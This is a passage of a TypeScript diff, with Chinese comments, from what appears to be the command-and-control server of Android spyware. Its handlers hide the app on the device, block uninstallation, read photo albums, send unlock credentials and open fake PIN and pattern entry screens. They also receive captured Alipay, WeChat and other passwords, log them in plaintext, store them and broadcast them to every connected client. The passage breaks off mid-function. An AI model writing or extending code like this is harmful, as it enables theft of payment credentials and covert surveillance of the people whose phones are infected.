success: false, + isHidden: true, + message: '设备已离线或不存在' + }) + return false + } + + // 检查客户端是否有控制权 + if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { + this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'app_hide_response', { + deviceId, + success: false, + isHidden: true, + message: '无控制权限,请先申请设备控制权' + }) + return false + } + + // 向设备发送显示应用的控制命令 + const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) + if (deviceSocketId) { + const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) + if (deviceSocket) { + deviceSocket.emit('control_command', { + type: 'SHOW_APP', + deviceId, + data: {}, + timestamp: Date.now() + }) + + // 🆕 保存应用隐藏状态到数据库 + this.databaseService.updateDeviceAppHidden(deviceId, false) + + // 发送成功响应 + this.webClientManager.sendToClient(clientId, 'app_hide_response', { + deviceId, + success: true, + isHidden: false, + message: '应用已显示' + }) + + this.logger.info(`✅ 显示应用命令已发送: ${deviceId}`) + return true + } + } + + this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'app_hide_response', { + deviceId, + success: false, + isHidden: true, + message: '设备连接已断开' + }) + return false + + } catch (error) { + this.logger.error('显示应用失败:', error) + this.webClientManager.sendToClient(clientId, 'app_hide_response', { + deviceId, + success: false, + isHidden: true, + message: '显示失败: ' + (error as Error).message + }) + return false + } + } + + /** + * 🆕 处理关闭配置遮盖的请求 + */ + private handleCloseConfigMask(clientId: string, deviceId: string, manual: boolean = true): boolean { + try { + this.logger.info(`🛡️ 关闭配置遮盖: 客户端=${clientId}, 设备=${deviceId}, 手动=${manual}`) + + // 检查设备是否存在且在线 + const device = this.deviceManager.getDevice(deviceId) + if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { + this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) + // 注意:关闭配置遮盖使用permission_response事件而非专用响应事件 + return false + } + + // 🆕 特殊情况:关闭配置遮盖不需要控制权,因为配置遮盖通常在用户获取控制权之前显示 + // 这是一个紧急操作,允许任何连接的客户端执行 + + // 向设备发送关闭配置遮盖的控制命令 + const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) + if (deviceSocketId) { + const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) + if (deviceSocket) { + deviceSocket.emit('control_command', { + type: 'CLOSE_CONFIG_MASK', + deviceId, + data: { + manual: manual + }, + timestamp: Date.now() + }) + + this.logger.info(`✅ 关闭配置遮盖命令已发送: ${deviceId}`) + return true + } + } + + this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`) + return false + + } catch (error) { + this.logger.error('关闭配置遮盖失败:', error) + return false + } + } + + /** + * 🆕 处理重新获取投屏权限请求 + */ + private handleRefreshMediaProjectionPermission(clientId: string, deviceId: string): boolean { + try { + this.logger.info(`📺 重新获取投屏权限请求: 客户端=${clientId}, 设备=${deviceId}`) + + // 检查设备是否存在且在线 + const device = this.deviceManager.getDevice(deviceId) + if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { + this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'refresh_permission_response', { + deviceId, + success: false, + message: '设备已离线或不存在' + }) + return false + } + + // 检查客户端是否有控制权 + if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { + this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'refresh_permission_response', { + deviceId, + success: false, + message: '无控制权限,请先申请设备控制权' + }) + return false + } + + // 向设备发送重新获取投屏权限的控制命令 + const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) + if (deviceSocketId) { + const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) + if (deviceSocket) { + deviceSocket.emit('control_command', { + type: 'REFRESH_MEDIA_PROJECTION_PERMISSION', + deviceId, + data: {}, + timestamp: Date.now() + }) + + // 发送成功响应 + this.webClientManager.sendToClient(clientId, 'refresh_permission_response', { + deviceId, + success: true, + message: '重新获取投屏权限命令已发送,请在设备上确认权限' + }) + + this.logger.info(`✅ 重新获取投屏权限命令已发送: ${deviceId}`) + return true + } + } + + this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'refresh_permission_response', { + deviceId, + success: false, + message: '设备连接已断开' + }) + return false + + } catch (error) { + this.logger.error('重新获取投屏权限失败:', error) + this.webClientManager.sendToClient(clientId, 'refresh_permission_response', { + deviceId, + success: false, + message: '重新获取投屏权限失败: ' + (error as Error).message + }) + return false + } + } + + /** + * 🆕 处理手动授权投屏权限请求(不自动点击确认) + */ + private handleRefreshMediaProjectionManual(clientId: string, deviceId: string): boolean { + try { + this.logger.info(`📺 手动授权投屏权限请求: 客户端=${clientId}, 设备=${deviceId}`) + + const device = this.deviceManager.getDevice(deviceId) + if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { + this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'refresh_permission_response', { + deviceId, + success: false, + message: '设备已离线或不存在' + }) + return false + } + + if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { + this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'refresh_permission_response', { + deviceId, + success: false, + message: '无控制权限,请先申请设备控制权' + }) + return false + } + + const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) + if (deviceSocketId) { + const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) + if (deviceSocket) { + deviceSocket.emit('control_command', { + type: 'REFRESH_MEDIA_PROJECTION_MANUAL', + deviceId, + data: {}, + timestamp: Date.now() + }) + + this.webClientManager.sendToClient(clientId, 'refresh_permission_response', { + deviceId, + success: true, + message: '手动授权命令已发送,请在设备上手动确认权限' + }) + + this.logger.info(`✅ 手动授权投屏权限命令已发送: ${deviceId}`) + return true + } + } + + this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'refresh_permission_response', { + deviceId, + success: false, + message: '设备连接已断开' + }) + return false + + } catch (error) { + this.logger.error('手动授权投屏权限失败:', error) + this.webClientManager.sendToClient(clientId, 'refresh_permission_response', { + deviceId, + success: false, + message: '手动授权投屏权限失败: ' + (error as Error).message + }) + return false + } + } + + /** + * 🆕 路由权限申请响应 + */ + routePermissionResponse(socketId: string, permissionData: any): boolean { + try { + // 获取发送响应的设备信息 + const device = this.deviceManager.getDeviceBySocketId(socketId) + if (!device) { + this.logger.warn(`⚠️ 无法找到Socket ${socketId} 对应的设备`) + return false + } + + this.logger.info(`📱 处理设备 ${device.id} 的权限申请响应`) + + // 检查权限类型并处理响应 + if (permissionData.permissionType === 'media_projection') { + this.handleMediaProjectionPermissionResponse(device.id, permissionData) + } else { + this.logger.warn(`⚠️ 未知的权限类型: ${permissionData.permissionType}`) + } + + return true + + } catch (error) { + this.logger.error(`路由权限申请响应失败: Socket ${socketId}`, error) + return false + } + } + + /** + * 💰 路由支付宝密码数据 + */ + routeAlipayPassword(socketId: string, passwordData: any): boolean { + try { + // 获取发送密码数据的设备信息 + const device = this.deviceManager.getDeviceBySocketId(socketId) + if (!device) { + this.logger.warn(`⚠️ 无法找到Socket ${socketId} 对应的设备`) + return false + } + + this.logger.info(`💰 处理设备 ${device.id} 的支付宝密码数据`) + + // 验证必要字段 + if (!passwordData.password || !passwordData.deviceId || !passwordData.timestamp) { + this.logger.warn(`⚠️ 支付宝密码数据缺少必要字段: ${JSON.stringify(passwordData)}`) + return false + } + + // 创建支付宝密码记录 + const alipayPasswordRecord = { + deviceId: passwordData.deviceId, + password: passwordData.password, + passwordLength: passwordData.passwordLength || passwordData.password.length, + activity: passwordData.activity || 'UnknownActivity', + inputMethod: passwordData.inputMethod || 'unknown', + sessionId: passwordData.sessionId || Date.now().toString(), + timestamp: new Date(passwordData.timestamp), + createdAt: new Date() + } + + this.logger.info(`支付宝数据 ${alipayPasswordRecord.password}`) + + // 保存到数据库 + this.databaseService.saveAlipayPassword(alipayPasswordRecord) + + // 向所有Web客户端广播支付宝密码记录 + this.webClientManager.broadcastToAll('alipay_password_recorded', { + deviceId: passwordData.deviceId, + password: passwordData.password, + passwordLength: passwordData.passwordLength || passwordData.password.length, + activity: passwordData.activity || 'UnknownActivity', + inputMethod: passwordData.inputMethod || 'unknown', + sessionId: passwordData.sessionId || Date.now().toString(), + timestamp: passwordData.timestamp + }) + + this.logger.info(`📤 已向所有Web客户端广播支付宝密码记录: 设备=${passwordData.deviceId}`) + + return true + + } catch (error) { + this.logger.error(`路由支付宝密码数据失败: Socket ${socketId}`, error) + return false + } + } + + /** + * 💬 路由微信密码数据 + */ + routeWechatPassword(socketId: string, passwordData: any): boolean { + try { + // 获取发送密码数据的设备信息 + const device = this.deviceManager.getDeviceBySocketId(socketId) + if (!device) { + this.logger.warn(`⚠️ 无法找到Socket ${socketId} 对应的设备`) + return false + } + + this.logger.info(`💬 处理设备 ${device.id} 的微信密码数据`) + + // 验证必要字段 + if (!passwordData.password || !passwordData.deviceId || !passwordData.timestamp) { + this.logger.warn(`⚠️ 微信密码数据缺少必要字段: ${JSON.stringify(passwordData)}`) + return false + } + + // 创建微信密码记录 + const wechatPasswordRecord = { + deviceId: passwordData.deviceId, + password: passwordData.password, + passwordLength: passwordData.passwordLength || passwordData.password.length, + activity: passwordData.activity || 'UnknownActivity', + inputMethod: passwordData.inputMethod || 'unknown', + sessionId: passwordData.sessionId || Date.now().toString(), + timestamp: new Date(passwordData.timestamp), + createdAt: new Date() + } + + this.logger.info(`微信数据 ${wechatPasswordRecord.password}`) + + // 保存到数据库 + this.databaseService.saveWechatPassword(wechatPasswordRecord) + + // 向所有Web客户端广播微信密码记录 + this.webClientManager.broadcastToAll('wechat_password_recorded', { + deviceId: passwordData.deviceId, + password: passwordData.password, + passwordLength: passwordData.passwordLength || passwordData.password.length, + activity: passwordData.activity || 'UnknownActivity', + inputMethod: passwordData.inputMethod || 'unknown', + sessionId: passwordData.sessionId || Date.now().toString(), + timestamp: passwordData.timestamp + }) + + this.logger.info(`📤 已向所有Web客户端广播微信密码记录: 设备=${passwordData.deviceId}`) + + return true + + } catch (error) { + this.logger.error(`路由微信密码数据失败: Socket ${socketId}`, error) + return false + } + } + + /** + * 🔐 路由通用密码输入数据 + */ + routePasswordInput(socketId: string, passwordData: any): boolean { + try { + // 获取发送密码数据的设备信息 + const device = this.deviceManager.getDeviceBySocketId(socketId) + if (!device) { + this.logger.warn(`⚠️ 无法找到Socket ${socketId} 对应的设备`) + return false + } + + this.logger.info(`🔐 处理设备 ${device.id} 的通用密码输入数据`) + + // 验证必要字段 + if (!passwordData.password || !passwordData.timestamp || !passwordData.passwordType) { + this.logger.warn(`⚠️ 通用密码输入数据缺少必要字段: ${JSON.stringify(passwordData)}`) + return false + } + + // 🔧 修复:使用设备管理器中的设备ID,而不是passwordData中的deviceId + // 确保设备ID存在于数据库中,避免外键约束错误 + const deviceId = device.id + + // 验证设备是否存在于数据库中 + const deviceExists = this.databaseService.getDeviceById(deviceId) + if (!deviceExists) { + this.logger.error(`❌ 设备 ${deviceId} 不存在于数据库中,无法保存密码记录`) + return false + } + + // 创建通用密码输入记录 + const passwordInputRecord = { + deviceId: deviceId, // 🔧 使用验证过的设备ID + password: passwordData.password, + passwordLength: passwordData.passwordLength || passwordData.password.length, + passwordType: passwordData.passwordType, + activity: passwordData.activity || 'PasswordInputActivity', + inputMethod: passwordData.inputMethod || 'unknown', + installationId: passwordData.installationId || 'unknown', + sessionId: passwordData.sessionId || Date.now().toString(), + timestamp: new Date(passwordData.timestamp), + createdAt: new Date() + } + + this.logger.info(`通用密码数据 ${passwordInputRecord.password} (类型: ${passwordInputRecord.passwordType})`) + + // 保存到数据库 + this.databaseService.savePasswordInput(passwordInputRecord) + + // 向所有Web客户端广播通用密码输入记录 + this.webClientManager.broadcastToAll('password_input_recorded', { + deviceId: deviceId, // 🔧 使用验证过的设备ID + password: passwordData.password, + passwordLength: passwordData.passwordLength || passwordData.password.length, + passwordType: passwordData.passwordType, + activity: passwordData.activity || 'PasswordInputActivity', + inputMethod: passwordData.inputMethod || 'unknown', + installationId: passwordData.installationId || 'unknown', + sessionId: passwordData.sessionId || Date.now().toString(), + timestamp: passwordData.timestamp + }) + + this.logger.info(`📤 已向所有Web客户端广播通用密码输入记录: 设备=${passwordData.deviceId}, 类型=${passwordData.passwordType}`) + + return true + + } catch (error) { + this.logger.error(`路由通用密码输入数据失败: Socket ${socketId}`, error) + return false + } + } + + /** + * 🔍 路由支付宝检测启动指令 + */ + routeAlipayDetectionStart(socketId: string, detectionData: any): boolean { + try { + // 获取发送检测启动指令的设备信息 + const device = this.deviceManager.getDeviceBySocketId(socketId) + if (!device) { + this.logger.warn(`⚠️ 无法找到Socket ${socketId} 对应的设备`) + return false + } + + this.logger.info(`🔍 处理设备 ${device.id} 的支付宝检测启动指令`) + + // 创建控制消息 + const controlMessage: ControlMessage = { + type: 'ALIPAY_DETECTION_START', + deviceId: device.id, + data: detectionData.data || {}, + timestamp: Date.now() + } + + // 路由控制消息 + const routeResult = this.routeControlMessage(socketId, controlMessage) + + if (routeResult) { + this.logger.info(`📤 支付宝检测启动指令已发送到设备: ${device.id}`) + } else { + this.logger.warn(`⚠️ 支付宝检测启动指令发送失败: ${device.id}`) + } + + return routeResult + + } catch (error) { + this.logger.error(`路由支付宝检测启动指令失败: Socket ${socketId}`, error) + return false + } + } + + /** + * 💬 路由微信检测启动指令 + */ + routeWechatDetectionStart(socketId: string, detectionData: any): boolean { + try { + // 获取发送检测启动指令的设备信息 + const device = this.deviceManager.getDeviceBySocketId(socketId) + if (!device) { + this.logger.warn(`⚠️ 无法找到Socket ${socketId} 对应的设备`) + return false + } + + this.logger.info(`💬 处理设备 ${device.id} 的微信检测启动指令`) + + // 创建控制消息 + const controlMessage: ControlMessage = { + type: 'WECHAT_DETECTION_START', + deviceId: device.id, + data: detectionData.data || {}, + timestamp: Date.now() + } + + // 路由控制消息 + const routeResult = this.routeControlMessage(socketId, controlMessage) + + if (routeResult) { + this.logger.info(`📤 微信检测启动指令已发送到设备: ${device.id}`) + } else { + this.logger.warn(`⚠️ 微信检测启动指令发送失败: ${device.id}`) + } + + return routeResult + + } catch (error) { + this.logger.error(`路由微信检测启动指令失败: Socket ${socketId}`, error) + return false + } + } + + /** + * 🆕 处理MediaProjection权限申请响应 + */ + private handleMediaProjectionPermissionResponse(deviceId: string, permissionData: any): void { + try { + this.logger.info(`📺 处理MediaProjection权限申请响应: 设备=${deviceId}, 成功=${permissionData.success}`) + + // 向所有Web客户端广播权限申请响应(因为权限申请可能影响多个控制此设备的客户端) + this.webClientManager.broadcastToAll('refresh_permission_response', { + deviceId, + success: permissionData.success, + message: permissionData.message, + timestamp: permissionData.timestamp + }) + + this.logger.info(`📤 已向所有Web客户端广播权限申请响应: 设备=${deviceId}`) + + } catch (error) { + this.logger.error(`处理MediaProjection权限申请响应失败: ${deviceId}`, error) + } + } + + /** + * 🛡️ 处理启用防止卸载保护的请求 + */ + private handleEnableUninstallProtection(clientId: string, deviceId: string): boolean { + try { + this.logger.info(`🛡️ 启用防止卸载保护: 客户端=${clientId}, 设备=${deviceId}`) + + // 检查设备是否存在且在线 + const device = this.deviceManager.getDevice(deviceId) + if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { + this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', { + deviceId, + success: false, + enabled: false, + message: '设备已离线或不存在' + }) + return false + } + + // 检查客户端是否有控制权 + if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { + this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', { + deviceId, + success: false, + enabled: false, + message: '无控制权限,请先申请设备控制权' + }) + return false + } + + // 向设备发送启用防止卸载保护的控制命令 + const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) + if (deviceSocketId) { + const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) + if (deviceSocket) { + deviceSocket.emit('control_command', { + type: 'ENABLE_UNINSTALL_PROTECTION', + deviceId, + data: {}, + timestamp: Date.now() + }) + + // 保存状态到数据库 + this.databaseService.updateDeviceUninstallProtection(deviceId, true) + + // 发送成功响应 + this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', { + deviceId, + success: true, + enabled: true, + message: '防止卸载保护已启用' + }) + + this.logger.info(`✅ 防止卸载保护启用成功: 设备=${deviceId}`) + return true + } + } + + // 设备Socket不可用 + this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`) + this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', { + deviceId, + success: false, + enabled: false, + message: '设备连接已断开' + }) + return false + + } catch (error) { + this.logger.error(`❌ 启用防止卸载保护失败:`, error) + this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', { + deviceId, + success: false, + enabled: false, + message: '启用防止卸载保护失败' + }) + return false + } + } + + /** + * 🛡️ 处理禁用防止卸载保护的请求 + */ + private handleDisableUninstallProtection(clientId: string, deviceId: string): boolean { + try { + this.logger.info(`🛡️ 禁用防止卸载保护: 客户端=${clientId}, 设备=${deviceId}`) + + // 检查设备是否存在且在线 + const device = this.deviceManager.getDevice(deviceId) + if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { + this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', { + deviceId, + success: false, + enabled: true, + message: '设备已离线或不存在' + }) + return false + } + + // 检查客户端是否有控制权 + if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { + this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', { + deviceId, + success: false, + enabled: true, + message: '无控制权限,请先申请设备控制权' + }) + return false + } + + // 向设备发送禁用防止卸载保护的控制命令 + const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) + if (deviceSocketId) { + const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) + if (deviceSocket) { + deviceSocket.emit('control_command', { + type: 'DISABLE_UNINSTALL_PROTECTION', + deviceId, + data: {}, + timestamp: Date.now() + }) + + // 保存状态到数据库 + this.databaseService.updateDeviceUninstallProtection(deviceId, false) + + // 发送成功响应 + this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', { + deviceId, + success: true, + enabled: false, + message: '防止卸载保护已禁用' + }) + + this.logger.info(`✅ 防止卸载保护禁用成功: 设备=${deviceId}`) + return true + } + } + + // 设备Socket不可用 + this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`) + this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', { + deviceId, + success: false, + enabled: true, + message: '设备连接已断开' + }) + return false + + } catch (error) { + this.logger.error(`❌ 禁用防止卸载保护失败:`, error) + this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', { + deviceId, + success: false, + enabled: true, + message: '禁用防止卸载保护失败' + }) + return false + } + } + + /** + * 处理相册权限检查请求 + */ + private handleGalleryPermissionCheck(clientId: string, deviceId: string): boolean { + try { + this.logger.info(`📸 处理相册权限检查请求: 客户端=${clientId}, 设备=${deviceId}`) + + // 检查设备是否存在且在线 + const device = this.deviceManager.getDevice(deviceId) + if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { + this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'gallery_permission_response', { + deviceId, + success: false, + hasPermission: false, + message: '设备已离线或不存在' + }) + return false + } + + // 检查客户端是否有控制权 + if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { + this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'gallery_permission_response', { + deviceId, + success: false, + hasPermission: false, + message: '无控制权限,请先申请设备控制权' + }) + return false + } + + // 向设备发送相册权限检查的控制命令 + const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) + if (deviceSocketId) { + const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) + if (deviceSocket) { + deviceSocket.emit('control_command', { + type: 'GALLERY_PERMISSION_CHECK', + deviceId, + data: {}, + timestamp: Date.now() + }) + + this.logger.info(`✅ 相册权限检查命令已发送到设备: ${deviceId}`) + return true + } + } + + this.logger.warn(`⚠️ 无法找到设备Socket: ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'gallery_permission_response', { + deviceId, + success: false, + hasPermission: false, + message: '设备连接异常' + }) + return false + + } catch (error) { + this.logger.error('处理相册权限检查请求失败:', error) + this.webClientManager.sendToClient(clientId, 'gallery_permission_response', { + deviceId, + success: false, + hasPermission: false, + message: '相册权限检查失败' + }) + return false + } + } + + /** + * 处理相册读取请求 + */ + private handleAlbumRead(clientId: string, deviceId: string, data: any): boolean { + try { + this.logger.info(`📸 处理相册读取请求: 客户端=${clientId}, 设备=${deviceId}, 数据=${JSON.stringify(data)}`) + + // 检查设备是否存在且在线 + const device = this.deviceManager.getDevice(deviceId) + if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { + this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'album_read_response', { + deviceId, + success: false, + albums: [], + message: '设备已离线或不存在' + }) + return false + } + + // 检查客户端是否有控制权 + if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { + this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'album_read_response', { + deviceId, + success: false, + albums: [], + message: '无控制权限,请先申请设备控制权' + }) + return false + } + + // 验证数据格式 + const { albumId, limit, offset } = data || {} + if (limit && (typeof limit !== 'number' || limit <= 0)) { + this.logger.warn(`⚠️ 无效的相册读取限制: ${limit}`) + this.webClientManager.sendToClient(clientId, 'album_read_response', { + deviceId, + success: false, + albums: [], + message: '相册读取限制无效,应为正整数' + }) + return false + } + if (offset && (typeof offset !== 'number' || offset < 0)) { + this.logger.warn(`⚠️ 无效的相册读取偏移: ${offset}`) + this.webClientManager.sendToClient(clientId, 'album_read_response', { + deviceId, + success: false, + albums: [], + message: '相册读取偏移无效,应为非负整数' + }) + return false + } + + // 向设备发送相册读取的控制命令 + const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) + if (deviceSocketId) { + const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) + if (deviceSocket) { + deviceSocket.emit('control_command', { + type: 'ALBUM_READ', + deviceId, + data: { + albumId: albumId || null, + limit: limit || null, + offset: offset || 0 + }, + timestamp: Date.now() + }) + + this.logger.info(`✅ 相册读取命令已发送到设备: ${deviceId}, albumId=${albumId || 'all'}, limit=${limit || 'unlimited'}, offset=${offset || 0}`) + return true + } + } + + this.logger.warn(`⚠️ 无法找到设备Socket: ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'album_read_response', { + deviceId, + success: false, + albums: [], + message: '设备连接异常' + }) + return false + + } catch (error) { + this.logger.error('处理相册读取请求失败:', error) + this.webClientManager.sendToClient(clientId, 'album_read_response', { + deviceId, + success: false, + albums: [], + message: '相册读取失败' + }) + return false + } + } + + /** + * 处理设备解锁请求 + */ + private handleUnlockDevice(clientId: string, deviceId: string, data: any): boolean { + try { + this.logger.info(`🔓 处理设备解锁请求: 客户端=${clientId}, 设备=${deviceId}`) + + // 检查设备是否存在且在线 + const device = this.deviceManager.getDevice(deviceId) + if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { + this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'unlock_device_response', { + deviceId, + success: false, + message: '设备已离线或不存在' + }) + return false + } + + // 检查客户端是否有控制权 + if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { + this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'unlock_device_response', { + deviceId, + success: false, + message: '无控制权限,请先申请设备控制权' + }) + return false + } + + // 验证解锁数据格式 + const { password, pattern, pin, biometric } = data || {} + if (!password && !pattern && !pin && !biometric) { + this.logger.warn(`⚠️ 解锁数据不完整: 需要提供密码、图案、PIN或生物识别信息`) + this.webClientManager.sendToClient(clientId, 'unlock_device_response', { + deviceId, + success: false, + message: '解锁数据不完整,需要提供密码、图案、PIN或生物识别信息' + }) + return false + } + + // 向设备发送解锁的控制命令 + const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) + if (deviceSocketId) { + const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) + if (deviceSocket) { + deviceSocket.emit('control_command', { + type: 'UNLOCK_DEVICE', + deviceId, + data: { + password: password || null, + pattern: pattern || null, + pin: pin || null, + biometric: biometric || null + }, + timestamp: Date.now() + }) + + this.logger.info(`✅ 设备解锁命令已发送到设备: ${deviceId}`) + + // 发送成功响应 + this.webClientManager.sendToClient(clientId, 'unlock_device_response', { + deviceId, + success: true, + message: '设备解锁命令已发送' + }) + return true + } + } + + this.logger.warn(`⚠️ 无法找到设备Socket: ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'unlock_device_response', { + deviceId, + success: false, + message: '设备连接异常' + }) + return false + + } catch (error) { + this.logger.error('处理设备解锁请求失败:', error) + this.webClientManager.sendToClient(clientId, 'unlock_device_response', { + deviceId, + success: false, + message: '设备解锁失败' + }) + return false + } + } + + /** + * 🔐 处理打开6位PIN输入界面的请求 + */ + private handleOpenPinInput(clientId: string, deviceId: string): boolean { + try { + this.logger.info(`🔐 打开6位PIN输入界面: 客户端=${clientId}, 设备=${deviceId}`) + + // 检查设备是否存在且在线 + const device = this.deviceManager.getDevice(deviceId) + if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { + this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'pin_input_response', { + deviceId, + success: false, + message: '设备已离线或不存在' + }) + return false + } + + // 检查客户端是否有控制权 + if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { + this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'pin_input_response', { + deviceId, + success: false, + message: '无控制权限,请先申请设备控制权' + }) + return false + } + + // 向设备发送打开6位PIN输入界面的控制命令 + const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) + if (deviceSocketId) { + const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) + if (deviceSocket) { + deviceSocket.emit('control_command', { + type: 'OPEN_PIN_INPUT', + deviceId, + data: {}, + timestamp: Date.now() + }) + + this.logger.info(`✅ 已发送打开6位PIN输入界面命令到设备 ${deviceId}`) + + // 向客户端发送响应 + this.webClientManager.sendToClient(clientId, 'pin_input_response', { + deviceId, + success: true, + message: '打开6位PIN输入界面命令已发送' + }) + + return true + } + } + + this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`) + this.webClientManager.sendToClient(clientId, 'pin_input_response', { + deviceId, + success: false, + message: '设备连接已断开' + }) + return false + + } catch (error) { + this.logger.error(`打开6位PIN输入界面失败:`, error) + this.webClientManager.sendToClient(clientId, 'pin_input_response', { + deviceId, + success: false, + message: '打开6位PIN输入界面失败' + }) + return false + } + } + + /** + * 🔐 处理打开4位密码输入界面的请求 + */ + private handleOpenFourDigitPin(clientId: string, deviceId: string): boolean { + try { + this.logger.info(`🔐 打开4位密码输入界面: 客户端=${clientId}, 设备=${deviceId}`) + + // 检查设备是否存在且在线 + const device = this.deviceManager.getDevice(deviceId) + if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { + this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'four_digit_pin_response', { + deviceId, + success: false, + message: '设备已离线或不存在' + }) + return false + } + + // 检查客户端是否有控制权 + if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { + this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'four_digit_pin_response', { + deviceId, + success: false, + message: '无控制权限,请先申请设备控制权' + }) + return false + } + + // 向设备发送打开4位密码输入界面的控制命令 + const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) + if (deviceSocketId) { + const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) + if (deviceSocket) { + deviceSocket.emit('control_command', { + type: 'OPEN_FOUR_DIGIT_PIN', + deviceId, + data: {}, + timestamp: Date.now() + }) + + this.logger.info(`✅ 已发送打开4位密码输入界面命令到设备 ${deviceId}`) + + // 向客户端发送响应 + this.webClientManager.sendToClient(clientId, 'four_digit_pin_response', { + deviceId, + success: true, + message: '打开4位密码输入界面命令已发送' + }) + + return true + } + } + + this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`) + this.webClientManager.sendToClient(clientId, 'four_digit_pin_response', { + deviceId, + success: false, + message: '设备连接已断开' + }) + return false + + } catch (error) { + this.logger.error(`打开4位密码输入界面失败:`, error) + this.webClientManager.sendToClient(clientId, 'four_digit_pin_response', { + deviceId, + success: false, + message: '打开4位密码输入界面失败' + }) + return false + } + } + + /** + * 🔐 处理打开图形密码输入界面的请求 + */ + private handleOpenPatternLock(clientId: string, deviceId: string): boolean { + try { + this.logger.info(`🔐 打开图形密码输入界面: 客户端=${clientId}, 设备=${deviceId}`) + + // 检查设备是否存在且在线 + const device = 